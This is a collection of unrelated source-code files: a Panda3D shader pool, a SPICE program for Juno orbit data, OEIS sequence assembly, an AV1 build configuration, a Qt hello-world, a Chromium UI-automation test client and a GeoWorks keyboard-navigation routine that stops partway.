LightMutexHolder holder(_lock);
// We blow away whatever shader was there previously, if any.
_shaders[filename] = shader;
}
/**
* The nonstatic implementation of release_shader().
*/
void ShaderPool::
ns_release_shader(const Filename &filename) {
LightMutexHolder holder(_lock);
Shaders::iterator ti;
ti = _shaders.find(filename);
if (ti != _shaders.end()) {
_shaders.erase(ti);
}
}
/**
* The nonstatic implementation of release_all_shaders().
*/
void ShaderPool::
ns_release_all_shaders() {
LightMutexHolder holder(_lock);
_shaders.clear();
}
/**
* The nonstatic implementation of garbage_collect().
*/
int ShaderPool::
ns_garbage_collect() {
LightMutexHolder holder(_lock);
int num_released = 0;
Shaders new_set;
Shaders::iterator ti;
for (ti = _shaders.begin(); ti != _shaders.end(); ++ti) {
CPT(Shader) shader = (*ti).second;
if (shader->get_ref_count() == 1) {
/*
if (shader_cat.is_debug()) {
shader_cat.debug()
<< "Releasing " << (*ti).first << "\n";
}
*/
num_released++;
} else {
new_set.insert(new_set.end(), *ti);
}
}
_shaders.swap(new_set);
return num_released;
}
/**
* The nonstatic implementation of list_contents().
*/
void ShaderPool::
ns_list_contents(std::ostream &out) const {
LightMutexHolder holder(_lock);
out << _shaders.size() << " shaders:\n";
Shaders::const_iterator ti;
for (ti = _shaders.begin(); ti != _shaders.end(); ++ti) {
CPT(Shader) shader = (*ti).second;
out << " " << (*ti).first
<< " (count = " << shader->get_ref_count() << ")\n";
}
}
/**
* Searches for the indicated filename along the model path.
*/
void ShaderPool::
resolve_filename(Filename &new_filename, const Filename &orig_filename) {
new_filename = orig_filename;
VirtualFileSystem *vfs = VirtualFileSystem::get_global_ptr();
vfs->resolve_filename(new_filename, get_model_path());
}
/**
* Initializes and/or returns the global pointer to the one ShaderPool object
* in the system.
*/
ShaderPool *ShaderPool::
get_ptr() {
if (_global_ptr == nullptr) {
_global_ptr = new ShaderPool;
}
return _global_ptr;
}
|
#include <iostream>
#include <fstream>
#include "SpiceUsr.h"
#define JUNO_ASC_CHUA -61122
#define JUNO_ASC_CHUB -61121
#define JUNO_ASC_CHUC -61112
#define JUNO_ASC_CHUD -61111
void convert_date(SpiceDouble et) {
SpiceChar utcstr[21];
et2utc_c(et, "C", 1, 21, utcstr);
std::cout << utcstr << std::endl;
}
void output_state(std::ostream& str, SpiceDouble et, SpiceDouble et1, SpiceDouble step) {
SpiceDouble state[6];
SpiceDouble lt;
while (et <= et1) {
et += step;
// Get Juno state vector
spkezr_c("JUNO_SPACECRAFT", et, "J2000", "NONE", "Jupiter", state, <);
// Output time, x, y, z
str << et << " " << state[0] << " " << state[1] << " " << state[2] << std::endl;
}
}
void output_attitude(std::ostream& str, SpiceDouble et, SpiceDouble et1, SpiceDouble step) {
while (et < et1) {
et += step;
// Convert time to spacecraft clock
SpiceDouble spacecraft_time;
sce2c_c(-61, et, &spacecraft_time);
SpiceDouble mat[3][3];
SpiceDouble clkout;
SpiceBoolean found;
// Get pointing attitude
ckgp_c(JUNO_ASC_CHUA, spacecraft_time, 0, "J2000", mat, &clkout, &found);
// Convert to equatorial coordinates
SpiceDouble ang[3];
m2eul_c(mat, 3, 1, 3, ang+2, ang+1, ang);
SpiceDouble twist = ang[2];
SpiceDouble dec = halfpi_c() - ang[1];
SpiceDouble ra = ang[0] - halfpi_c();
// Output time, RA, DE, twist
str << et << " " << ra << " " << dec << " " << twist << std::endl;
}
}
void write_state(const char* name, SpiceDouble et, SpiceDouble et1, SpiceDouble step) {
std::ofstream file(name);
file.precision(6);
file << std::fixed;
output_state(file, et, et1, step);
}
int main()
{
std::cout << "Loading kernels..." << std::endl;
furnsh_c("setup.ker");
SpiceDouble et, et1;
// State every minute from apoapsis to apoapsis
// Format: time,X,Y,Z
// Orbit 1
std::cout << "Orbit 1" << std::endl;
str2et_c("2016 OCT 25 20:38:52", &et);
str2et_c("2016 NOV 05 20:15:32", &et1);
write_state("juno-state-orbit1.txt", et, et1, 60);
// Orbit 2
std::cout << "Orbit 2" << std::endl;
str2et_c("2016 NOV 05 20:15:32", &et);
str2et_c("2016 NOV 16 20:25:32", &et1);
write_state("juno-state-orbit2.txt", et, et1, 60);
// Orbit 3
std::cout << "Orbit 3" << std::endl;
str2et_c("2016 NOV 16 20:25:32", &et);
str2et_c("2016 NOV 27 20:18:52", &et1);
write_state("juno-state-orbit3.txt", et, et1, 60);
// Orbit 4
std::cout << "Orbit 4" << std::endl;
str2et_c("2016 NOV 27 20:18:52", &et);
str2et_c("2016 DEC 08 20:12:12", &et1);
write_state("juno-state-orbit4.txt", et, et1, 60);
// Attitude every 0.25 second for 5 minutes
// Format: time,RA,DE,Twist
std::cout << "Attitude" << std::endl;
str2et_c("2016 NOV 27 20:10:00", &et);
str2et_c("2016 NOV 27 20:15:00", &et1);
std::ofstream attitude_file("juno-attitude.txt");
attitude_file.precision(6);
attitude_file << std::fixed;
output_attitude(attitude_file, et, et1, 0.25);
}
|
; A105335: a(n) = n*(n+1)/2 mod 64.
; 0,1,3,6,10,15,21,28,36,45,55,2,14,27,41,56,8,25,43,62,18,39,61,20,44,5,31,58,22,51,17,48,16,49,19,54,26,63,37,12,52,29,7,50,30,11,57,40,24,9,59,46,34,23,13,4,60,53,47,42,38,35,33,32,32,33,35,38,42,47,53,60,4,13
mov $1,$0
add $1,1
bin $1,2
mod $1,64
|
;
; Copyright (c) 2018, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
ARCH_ARM equ 0
ARCH_MIPS equ 0
ARCH_PPC equ 0
ARCH_X86 equ 0
ARCH_X86_64 equ 1
CONFIG_2PASS_PARTITION_SEARCH_LVL equ 1
CONFIG_ACCOUNTING equ 0
CONFIG_ANALYZER equ 0
CONFIG_AV1_DECODER equ 1
CONFIG_AV1_ENCODER equ 1
CONFIG_BIG_ENDIAN equ 0
CONFIG_BITSTREAM_DEBUG equ 0
CONFIG_COEFFICIENT_RANGE_CHECKING equ 0
CONFIG_COLLECT_INTER_MODE_RD_STATS equ 1
CONFIG_COLLECT_RD_STATS equ 0
CONFIG_DEBUG equ 0
CONFIG_DENOISE equ 1
CONFIG_DIST_8X8 equ 0
CONFIG_ENTROPY_STATS equ 0
CONFIG_FILEOPTIONS equ 1
CONFIG_FIX_GF_LENGTH equ 1
CONFIG_FP_MB_STATS equ 0
CONFIG_GCC equ 1
CONFIG_GCOV equ 0
CONFIG_GLOBAL_MOTION_SEARCH equ 1
CONFIG_GPROF equ 0
CONFIG_INSPECTION equ 0
CONFIG_INTERNAL_STATS equ 0
CONFIG_INTER_STATS_ONLY equ 0
CONFIG_LIBYUV equ 1
CONFIG_LOWBITDEPTH equ 0
CONFIG_MAX_DECODE_PROFILE equ 2
CONFIG_MISMATCH_DEBUG equ 0
CONFIG_MULTITHREAD equ 1
CONFIG_NORMAL_TILE_MODE equ 0
CONFIG_OS_SUPPORT equ 1
CONFIG_PIC equ 1
CONFIG_RD_DEBUG equ 0
CONFIG_REDUCED_ENCODER_BORDER equ 0
CONFIG_RUNTIME_CPU_DETECT equ 1
CONFIG_SHARED equ 1
CONFIG_SHARP_SETTINGS equ 0
CONFIG_SIZE_LIMIT equ 0
CONFIG_SPATIAL_RESAMPLING equ 1
CONFIG_STATIC equ 0
CONFIG_WEBM_IO equ 1
DECODE_HEIGHT_LIMIT equ 0
DECODE_WIDTH_LIMIT equ 0
HAVE_AVX equ 1
HAVE_AVX2 equ 1
HAVE_DSPR2 equ 0
HAVE_FEXCEPT equ 1
HAVE_MIPS32 equ 0
HAVE_MIPS64 equ 0
HAVE_MMX equ 1
HAVE_MSA equ 0
HAVE_NEON equ 0
HAVE_PTHREAD_H equ 1
HAVE_SSE equ 1
HAVE_SSE2 equ 1
HAVE_SSE3 equ 1
HAVE_SSE4_1 equ 1
HAVE_SSE4_2 equ 1
HAVE_SSSE3 equ 1
HAVE_UNISTD_H equ 1
HAVE_VSX equ 0
HAVE_WXWIDGETS equ 0
|
; A185541: a(n) = m*(m+1)/2, where m = floor(n^(3/2)).
; 1,3,15,36,66,105,171,253,378,496,666,861,1081,1378,1711,2080,2485,2926,3403,4005,4656,5356,6105,6903,7875,8778,9870,11026,12246,13530,14878,16471,17955,19701,21528,23436,25425,27495,29646,31878,34453,37128,39621,42486,45451,48516,52003,55278,58996,62481,66430,70125,74305,78606,83028,87990,92665,97461,102831,107880,113526,119316,125250,131328,137550,143916,150426,157080,164451,171405,179101,186355,194376,202566,210925,219453,228150,237016,246753,255970,266085,275653,286146,296065,306936,318003,329266,340725,352380,364231,377146,389403,401856,415416,428275,442270,456490,470935,485605,500500
add $0,1
pow $0,3
lpb $0
sub $0,$2
trn $0,3
add $2,2
add $1,$2
lpe
sub $1,2
div $1,2
add $1,1
mov $0,$1
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
|
sza
|
#include <QApplication>
#include <QLabel>
#include <QMainWindow>
int main(int argc, char *argv[])
{
// QApplication manages the GUI application’s control flow
QApplication app(argc, argv);
// create a main window
QMainWindow mainWindow;
// create a widget that spans the entire main window
QWidget *mainWidget = new QWidget();
mainWindow.setCentralWidget(mainWidget);
// create a label with the main widget as parent
QLabel *label = new QLabel("Hello World!", mainWidget);
label->setStyleSheet("QLabel { color: red; font-size:14pt; }");
// Show the window
mainWindow.show();
// Start the application's event loop
return app.exec();
}
|
// Copyright (c) 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "win8/test/ui_automation_client.h"
#include <atlbase.h>
#include <atlcom.h>
#include <oleauto.h>
#include <uiautomation.h>
#include <algorithm>
#include "base/bind.h"
#include "base/callback.h"
#include "base/memory/ref_counted.h"
#include "base/string_number_conversions.h"
#include "base/string_util.h"
#include "base/thread_task_runner_handle.h"
#include "base/win/scoped_comptr.h"
#include "base/win/scoped_variant.h"
namespace win8 {
namespace internal {
// The guts of the UI automation client which runs on a dedicated thread in the
// multi-threaded COM apartment. An instance may be constructed on any thread,
// but Initialize() must be invoked on a thread in the MTA.
class UIAutomationClient::Context {
public:
// Returns a new instance ready for initialization and use on another thread.
static base::WeakPtr<Context> Create();
// Deletes the instance.
void DeleteOnAutomationThread();
// Initializes the context, invoking |init_callback| via |client_runner| when
// done. On success, |result_callback| will eventually be called after the
// window has been processed. On failure, this instance self-destructs after
// posting |init_callback|.
void Initialize(
scoped_refptr<base::SingleThreadTaskRunner> client_runner,
string16 class_name,
string16 item_name,
UIAutomationClient::InitializedCallback init_callback,
UIAutomationClient::ResultCallback result_callback);
// Methods invoked by event handlers via weak pointers.
void HandleAutomationEvent(
base::win::ScopedComPtr<IUIAutomationElement> sender,
EVENTID eventId);
private:
class EventHandler;
// The only and only method that may be called from outside of the automation
// thread.
Context();
~Context();
HRESULT InstallWindowObserver();
HRESULT RemoveWindowObserver();
void HandleWindowOpen(
const base::win::ScopedComPtr<IUIAutomationElement>& window);
void ProcessWindow(
const base::win::ScopedComPtr<IUIAutomationElement>& window);
HRESULT InvokeDesiredItem(
const base::win::ScopedComPtr<IUIAutomationElement>& element);
HRESULT GetInvokableItems(
const base::win::ScopedComPtr<IUIAutomationElement>& element,
std::vector<string16>* choices);
void CloseWindow(const base::win::ScopedComPtr<IUIAutomationElement>& window);
base::ThreadChecker thread_checker_;
// The loop on which the client itself lives.
scoped_refptr<base::SingleThreadTaskRunner> client_runner_;
// The class name of the window for which the client waits.
string16 class_name_;
// The name of the item to invoke.
string16 item_name_;
// The consumer's result callback.
ResultCallback result_callback_;
// The automation client.
base::win::ScopedComPtr<IUIAutomation> automation_;
// A handler of Window open events.
base::win::ScopedComPtr<IUIAutomationEventHandler> event_handler_;
// Weak pointers to the context are given to event handlers.
base::WeakPtrFactory<UIAutomationClient::Context> weak_ptr_factory_;
DISALLOW_COPY_AND_ASSIGN(Context);
};
class UIAutomationClient::Context::EventHandler
: public CComObjectRootEx<CComMultiThreadModel>,
public IUIAutomationEventHandler {
public:
BEGIN_COM_MAP(UIAutomationClient::Context::EventHandler)
COM_INTERFACE_ENTRY(IUIAutomationEventHandler)
END_COM_MAP()
EventHandler();
virtual ~EventHandler();
// Initializes the object with its parent UI automation client context's
// message loop and pointer. Events are dispatched back to the context on
// the given loop.
void Initialize(
const scoped_refptr<base::SingleThreadTaskRunner>& context_runner,
const base::WeakPtr<UIAutomationClient::Context>& context);
// IUIAutomationEventHandler methods.
STDMETHOD(HandleAutomationEvent)(IUIAutomationElement* sender,
EVENTID eventId);
private:
// The task runner for the UI automation client context.
scoped_refptr<base::SingleThreadTaskRunner> context_runner_;
// The parent UI automation client context.
base::WeakPtr<UIAutomationClient::Context> context_;
DISALLOW_COPY_AND_ASSIGN(EventHandler);
};
UIAutomationClient::Context::EventHandler::EventHandler() {}
UIAutomationClient::Context::EventHandler::~EventHandler() {}
void UIAutomationClient::Context::EventHandler::Initialize(
const scoped_refptr<base::SingleThreadTaskRunner>& context_runner,
const base::WeakPtr<UIAutomationClient::Context>& context) {
context_runner_ = context_runner;
context_ = context;
}
HRESULT UIAutomationClient::Context::EventHandler::HandleAutomationEvent(
IUIAutomationElement* sender,
EVENTID eventId) {
// Event handlers are invoked on an arbitrary thread in the MTA. Send the
// event back to the main UI automation thread for processing.
context_runner_->PostTask(
FROM_HERE,
base::Bind(&UIAutomationClient::Context::HandleAutomationEvent, context_,
base::win::ScopedComPtr<IUIAutomationElement>(sender),
eventId));
return S_OK;
}
base::WeakPtr<UIAutomationClient::Context>
UIAutomationClient::Context::Create() {
Context* context = new Context();
base::WeakPtr<Context> context_ptr(context->weak_ptr_factory_.GetWeakPtr());
// Unbind from this thread so that the instance will bind to the automation
// thread when Initialize is called.
context->weak_ptr_factory_.DetachFromThread();
return context_ptr;
}
void UIAutomationClient::Context::DeleteOnAutomationThread() {
DCHECK(thread_checker_.CalledOnValidThread());
delete this;
}
UIAutomationClient::Context::Context() : weak_ptr_factory_(this) {}
UIAutomationClient::Context::~Context() {
DCHECK(thread_checker_.CalledOnValidThread());
if (event_handler_.get()) {
event_handler_ = NULL;
HRESULT result = automation_->RemoveAllEventHandlers();
LOG_IF(ERROR, FAILED(result)) << std::hex << result;
}
}
void UIAutomationClient::Context::Initialize(
scoped_refptr<base::SingleThreadTaskRunner> client_runner,
string16 class_name,
string16 item_name,
UIAutomationClient::InitializedCallback init_callback,
UIAutomationClient::ResultCallback result_callback) {
// This and all other methods must be called on the automation thread.
DCHECK(!client_runner->BelongsToCurrentThread());
// Bind the checker to this thread.
thread_checker_.DetachFromThread();
DCHECK(thread_checker_.CalledOnValidThread());
client_runner_ = client_runner;
class_name_ = class_name;
item_name_ = item_name;
result_callback_ = result_callback;
HRESULT result = automation_.CreateInstance(CLSID_CUIAutomation, NULL,
CLSCTX_INPROC_SERVER);
if (FAILED(result) || !automation_.get())
LOG(ERROR) << std::hex << result;
else
result = InstallWindowObserver();
// Tell the client that initialization is complete.
client_runner_->PostTask(FROM_HERE, base::Bind(init_callback, result));
// Self-destruct if the overall operation failed.
if (FAILED(result))
delete this;
}
// Installs the window observer.
HRESULT UIAutomationClient::Context::InstallWindowObserver() {
DCHECK(thread_checker_.CalledOnValidThread());
DCHECK(automation_.get());
DCHECK(!event_handler_.get());
HRESULT result = S_OK;
base::win::ScopedComPtr<IUIAutomationElement> root_element;
base::win::ScopedComPtr<IUIAutomationCacheRequest> cache_request;
// Observe the opening of all windows.
result = automation_->GetRootElement(root_element.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
// Cache Window class, HWND, and window pattern for opened windows.
result = automation_->CreateCacheRequest(cache_request.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
cache_request->AddProperty(UIA_ClassNamePropertyId);
cache_request->AddProperty(UIA_NativeWindowHandlePropertyId);
// Create the observer.
CComObject<EventHandler>* event_handler_obj = NULL;
result = CComObject<EventHandler>::CreateInstance(&event_handler_obj);
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
event_handler_obj->Initialize(base::ThreadTaskRunnerHandle::Get(),
weak_ptr_factory_.GetWeakPtr());
base::win::ScopedComPtr<IUIAutomationEventHandler> event_handler(
event_handler_obj);
result = automation_->AddAutomationEventHandler(
UIA_Window_WindowOpenedEventId,
root_element,
TreeScope_Descendants,
cache_request,
event_handler);
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
event_handler_ = event_handler;
return S_OK;
}
// Removes this instance's window observer.
HRESULT UIAutomationClient::Context::RemoveWindowObserver() {
DCHECK(thread_checker_.CalledOnValidThread());
DCHECK(automation_.get());
DCHECK(event_handler_.get());
HRESULT result = S_OK;
base::win::ScopedComPtr<IUIAutomationElement> root_element;
// The opening of all windows are observed.
result = automation_->GetRootElement(root_element.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
result = automation_->RemoveAutomationEventHandler(
UIA_Window_WindowOpenedEventId,
root_element,
event_handler_);
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
event_handler_ = NULL;
return S_OK;
}
// Handles an automation event. If the event results in the processing for which
// this context was created, the context self-destructs after posting the
// results to the client.
void UIAutomationClient::Context::HandleAutomationEvent(
base::win::ScopedComPtr<IUIAutomationElement> sender,
EVENTID eventId) {
DCHECK(thread_checker_.CalledOnValidThread());
if (eventId == UIA_Window_WindowOpenedEventId)
HandleWindowOpen(sender);
}
// Handles a WindowOpen event. If |window| is the one for which this instance is
// waiting, it is processed and this instance self-destructs after posting the
// results to the client.
void UIAutomationClient::Context::HandleWindowOpen(
const base::win::ScopedComPtr<IUIAutomationElement>& window) {
DCHECK(thread_checker_.CalledOnValidThread());
HRESULT hr = S_OK;
base::win::ScopedVariant var;
hr = window->GetCachedPropertyValueEx(UIA_ClassNamePropertyId, TRUE,
var.Receive());
if (FAILED(hr)) {
LOG(ERROR) << std::hex << hr;
return;
}
if (V_VT(&var) != VT_BSTR) {
LOG(ERROR) << __FUNCTION__ " class name is not a BSTR: " << V_VT(&var);
return;
}
string16 class_name(V_BSTR(&var));
// Window class names are atoms, which are case-insensitive.
if (class_name.size() == class_name_.size() &&
std::equal(class_name.begin(), class_name.end(), class_name_.begin(),
base::CaseInsensitiveCompare<wchar_t>())) {
RemoveWindowObserver();
ProcessWindow(window);
}
}
// Processes |window| by invoking the desired child item. If the item cannot be
// found or invoked, an attempt is made to get a list of all invokable children.
// The results are posted back to the client on |client_runner_|, and this
// instance self-destructs.
void UIAutomationClient::Context::ProcessWindow(
const base::win::ScopedComPtr<IUIAutomationElement>& window) {
DCHECK(thread_checker_.CalledOnValidThread());
HRESULT result = S_OK;
std::vector<string16> choices;
result = InvokeDesiredItem(window);
if (FAILED(result)) {
GetInvokableItems(window, &choices);
CloseWindow(window);
}
client_runner_->PostTask(FROM_HERE,
base::Bind(result_callback_, result, choices));
// Self-destruct since there's nothing more to be done here.
delete this;
}
// Invokes the desired child of |element|.
HRESULT UIAutomationClient::Context::InvokeDesiredItem(
const base::win::ScopedComPtr<IUIAutomationElement>& element) {
DCHECK(thread_checker_.CalledOnValidThread());
HRESULT result = S_OK;
base::win::ScopedVariant var;
base::win::ScopedComPtr<IUIAutomationCondition> invokable_condition;
base::win::ScopedComPtr<IUIAutomationCondition> item_name_condition;
base::win::ScopedComPtr<IUIAutomationCondition> control_view_condition;
base::win::ScopedComPtr<IUIAutomationCondition> condition;
base::win::ScopedComPtr<IUIAutomationCacheRequest> cache_request;
base::win::ScopedComPtr<IUIAutomationElement> target;
// Search for an invokable element named item_name.
var.Set(true);
result = automation_->CreatePropertyCondition(
UIA_IsInvokePatternAvailablePropertyId,
var,
invokable_condition.Receive());
var.Reset();
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return false;
}
var.Set(item_name_.c_str());
result = automation_->CreatePropertyCondition(UIA_NamePropertyId,
var,
item_name_condition.Receive());
var.Reset();
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
result = automation_->get_ControlViewCondition(
control_view_condition.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
std::vector<IUIAutomationCondition*> conditions;
conditions.push_back(invokable_condition.get());
conditions.push_back(item_name_condition.get());
conditions.push_back(control_view_condition.get());
result = automation_->CreateAndConditionFromNativeArray(
&conditions[0], conditions.size(), condition.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
// Cache invokable pattern for the item.
result = automation_->CreateCacheRequest(cache_request.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
cache_request->AddPattern(UIA_InvokePatternId);
result = element->FindFirstBuildCache(
static_cast<TreeScope>(TreeScope_Children | TreeScope_Descendants),
condition,
cache_request,
target.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
// If the item was found, invoke it.
if (!target.get()) {
LOG(ERROR) << "Failed to find desired item to invoke.";
return E_FAIL;
}
base::win::ScopedComPtr<IUIAutomationInvokePattern> invoker;
result = target->GetCachedPatternAs(UIA_InvokePatternId, invoker.iid(),
invoker.ReceiveVoid());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
result = invoker->Invoke();
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
return S_OK;
}
// Populates |choices| with the names of all invokable children of |element|.
HRESULT UIAutomationClient::Context::GetInvokableItems(
const base::win::ScopedComPtr<IUIAutomationElement>& element,
std::vector<string16>* choices) {
DCHECK(choices);
DCHECK(thread_checker_.CalledOnValidThread());
HRESULT result = S_OK;
base::win::ScopedVariant var;
base::win::ScopedComPtr<IUIAutomationCondition> invokable_condition;
base::win::ScopedComPtr<IUIAutomationCondition> control_view_condition;
base::win::ScopedComPtr<IUIAutomationCondition> condition;
base::win::ScopedComPtr<IUIAutomationCacheRequest> cache_request;
base::win::ScopedComPtr<IUIAutomationElementArray> element_array;
base::win::ScopedComPtr<IUIAutomationElement> child_element;
// Search for all invokable elements.
var.Set(true);
result = automation_->CreatePropertyCondition(
UIA_IsInvokePatternAvailablePropertyId,
var,
invokable_condition.Receive());
var.Reset();
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
result = automation_->get_ControlViewCondition(
control_view_condition.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
result = automation_->CreateAndCondition(
invokable_condition, control_view_condition, condition.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
// Cache item names.
result = automation_->CreateCacheRequest(cache_request.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
cache_request->AddProperty(UIA_NamePropertyId);
result = element->FindAllBuildCache(
static_cast<TreeScope>(TreeScope_Children | TreeScope_Descendants),
condition,
cache_request,
element_array.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
if (!element_array.get()) {
LOG(ERROR) << "The window may have vanished.";
return S_OK;
}
int num_elements = 0;
result = element_array->get_Length(&num_elements);
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return result;
}
choices->clear();
choices->reserve(num_elements);
for (int i = 0; i < num_elements; ++i) {
child_element.Release();
result = element_array->GetElement(i, child_element.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
continue;
}
result = child_element->GetCachedPropertyValueEx(UIA_NamePropertyId, TRUE,
var.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
continue;
}
if (V_VT(&var) != VT_BSTR) {
LOG(ERROR) << __FUNCTION__ " name is not a BSTR: " << V_VT(&var);
continue;
}
choices->push_back(string16(V_BSTR(&var)));
var.Reset();
}
return result;
}
// Closes the element |window| by sending it an escape key.
void UIAutomationClient::Context::CloseWindow(
const base::win::ScopedComPtr<IUIAutomationElement>& window) {
DCHECK(thread_checker_.CalledOnValidThread());
// It's tempting to get the Window pattern from |window| and invoke its Close
// method. Unfortunately, this doesn't work. Sending an escape key does the
// trick, though.
HRESULT result = S_OK;
base::win::ScopedVariant var;
result = window->GetCachedPropertyValueEx(
UIA_NativeWindowHandlePropertyId,
TRUE,
var.Receive());
if (FAILED(result)) {
LOG(ERROR) << std::hex << result;
return;
}
if (V_VT(&var) != VT_I4) {
LOG(ERROR) << __FUNCTION__ " window handle is not an int: " << V_VT(&var);
return;
}
HWND handle = reinterpret_cast<HWND>(V_I4(&var));
uint32 scan_code = MapVirtualKey(VK_ESCAPE, MAPVK_VK_TO_VSC);
PostMessage(handle, WM_KEYDOWN, VK_ESCAPE,
MAKELPARAM(1, scan_code));
PostMessage(handle, WM_KEYUP, VK_ESCAPE,
MAKELPARAM(1, scan_code | KF_REPEAT | KF_UP));
}
UIAutomationClient::UIAutomationClient()
: automation_thread_("UIAutomation") {}
UIAutomationClient::~UIAutomationClient() {
DCHECK(thread_checker_.CalledOnValidThread());
// context_ is still valid when the caller destroys the instance before the
// callback(s) have fired. In this case, delete the context on the automation
// thread before joining with it.
automation_thread_.message_loop()->PostTask(
FROM_HERE,
base::Bind(&UIAutomationClient::Context::DeleteOnAutomationThread,
context_));
}
void UIAutomationClient::Begin(const wchar_t* class_name,
const string16& item_name,
const InitializedCallback& init_callback,
const ResultCallback& result_callback) {
DCHECK(thread_checker_.CalledOnValidThread());
DCHECK_EQ(context_, static_cast<Context*>(NULL));
// Start the automation thread and initialize our automation client on it.
context_ = Context::Create();
automation_thread_.init_com_with_mta(true);
automation_thread_.Start();
automation_thread_.message_loop()->PostTask(
FROM_HERE,
base::Bind(&UIAutomationClient::Context::Initialize,
context_,
base::ThreadTaskRunnerHandle::Get(),
string16(class_name),
item_name,
init_callback,
result_callback));
}
} // namespace internal
} // namespace win8
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
(c) Copyright GeoWorks 1994. All Rights Reserved.
GEOWORKS CONFIDENTIAL
PROJECT: Icon editor
MODULE: Viewer
FILE: viewerKbd.asm
AUTHOR: Steve Yegge, Jun 17, 1994
ROUTINES:
Name Description
---- -----------
INT ViewerKeyUp User pressed the up-arrow key
INT FindIconAboveMe Returns the icon "above" the selected icon.
INT ViewerKeyDown User pressed the down-arrow key.
INT FindIconBelowMe Returns an icon below the passed one, if
possible.
INT ViewerKeyLeft User pressed the left-arrow key or
shift+tab
INT ViewerKeyRight User pressed the right-arrow key or the tab
key.
INT ViewerKeyEnter User pressed the return key.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 6/17/94 Initial revision
DESCRIPTION:
Keyboard navigation for the database viewer.
$Id: viewerKbd.asm,v 1.1 97/04/04 16:07:04 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ViewerCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DBViewerKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call the appropriate keyboard navigation routine.
CALLED BY: MSG_META_KBD_CHAR
PASS: *ds:si = DBViewerClass object
ds:di = DBViewerClass instance data
cx = character value
dl = CharFlags
dh = ShiftState
bp low = ToggleState
bp high = scan code
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
- if we're releasing the key, bail
- if it's not an arrow key, tab, enter, or one of the
edit keys, then bail
- call the appropriate handler
- have the title bar redo its triggers
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DBViewerKbdChar proc far
class DBViewerClass
.enter
;
; Correct character set?
;
cmp ch, CS_CONTROL
jne done
;
; If they're releasing the key do nothing.
;
test dl, mask CF_RELEASE
jnz done
cmp cl, VC_UP
jne notUp
call ViewerKeyUp
jmp short gotKey
notUp:
cmp cl, VC_DOWN
jne notDown
call ViewerKeyDown
jmp short gotKey
notDown:
cmp cl, VC_RIGHT
jne notRight
call ViewerKeyRight
jmp short gotKey
notRight:
cmp cl, VC_LEFT
jne notLeft
call ViewerKeyLeft
jmp short gotKey
notLeft:
cmp cl, VC_ENTER
jne notEnter
call ViewerKeyEnter
jmp short gotKey
notEnter:
cmp cl, VC_TAB
jne notTab
